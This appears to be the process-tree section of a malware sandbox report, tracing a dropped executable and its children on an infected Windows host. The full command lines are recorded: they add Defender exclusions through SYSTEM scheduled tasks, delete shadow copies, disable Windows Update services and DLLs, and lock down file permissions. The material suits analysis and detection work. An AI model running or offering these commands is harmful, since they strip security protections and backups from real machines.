    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5140
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3036
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5668
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5896
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:6076
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5396
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6040
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4884
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2148
- C:\Program Files (x86)\EJAvzN\EJAvzN.exe
  "C:\Program Files (x86)\EJAvzN\EJAvzN.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Event Triggered Execution: Screensaver
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:604
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:1620
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\EJAvzN" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3236
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\EJAvzN" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3724
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1660
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3520
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:696
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\EJAvzN" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3156
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\EJAvzN" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3944
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\EJAvzN\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4684
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\EJAvzN\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4956
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1972
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:3164
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2056
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4208
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        
        PID:3084
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1780
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:5140
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2776
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5260
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4044
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:5896
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5752
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4040
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:3596
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4212
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2516
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        
        PID:1080
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:2552
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1840
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:952
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5792
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:5368
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5360
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5392
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5300
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:896
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4904
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4964
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:1128
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2844
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:1452
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\EJAvzN" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5536
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\EJAvzN" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4768
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\EJAvzN\EJAvzN.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2404
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\EJAvzN\EJAvzN.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5116
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\EJAvzN\EJAvzN.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5428
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\EJAvzN\EJAvzN.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3768
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\EJAvzN\EJAvzN.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3356
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\EJAvzN\EJAvzN.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3152
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\EJAvzN\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6060
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\EJAvzN\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:912
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\EJAvzN\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:2612
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\EJAvzN\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5448
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\EJAvzN\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3672
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\EJAvzN\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3044
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\EJAvzN\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1116
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\EJAvzN\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3240
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\EJAvzN\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:1112
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\EJAvzN\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:204
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\EJAvzN\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:568
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\EJAvzN\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5628
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\EJAvzN\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1496
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\EJAvzN\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2720
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\EJAvzN\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4408
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\EJAvzN\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1976
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:5336
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4756
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3380
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:4776
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:4288
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4356
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1472
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:2580
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\EJAvzN\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:4892
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\EJAvzN\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4928
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:2604
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:5544
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2976
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:2408
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:4572
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4796
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1488
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:6104

C:\Users\Public\qQ9ZT1\HSN0mu.exe
"C:\Users\Public\qQ9ZT1\HSN0mu.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:6064

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\qQ9ZT1" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2260
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\qQ9ZT1" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1608

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:3000

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4736
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2344

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2236
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4172

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4480
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2536

C:\Program Files (x86)\EJAvzN\EJAvzN.exe
"C:\Program Files (x86)\EJAvzN\EJAvzN.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1952

C:\Program Files (x86)\EJAvzN\EJAvzN.exe
"C:\Program Files (x86)\EJAvzN\EJAvzN.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2684

C:\Program Files (x86)\p8tYl39Q5\sJH1s.exe
"C:\Program Files (x86)\p8tYl39Q5\sJH1s.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
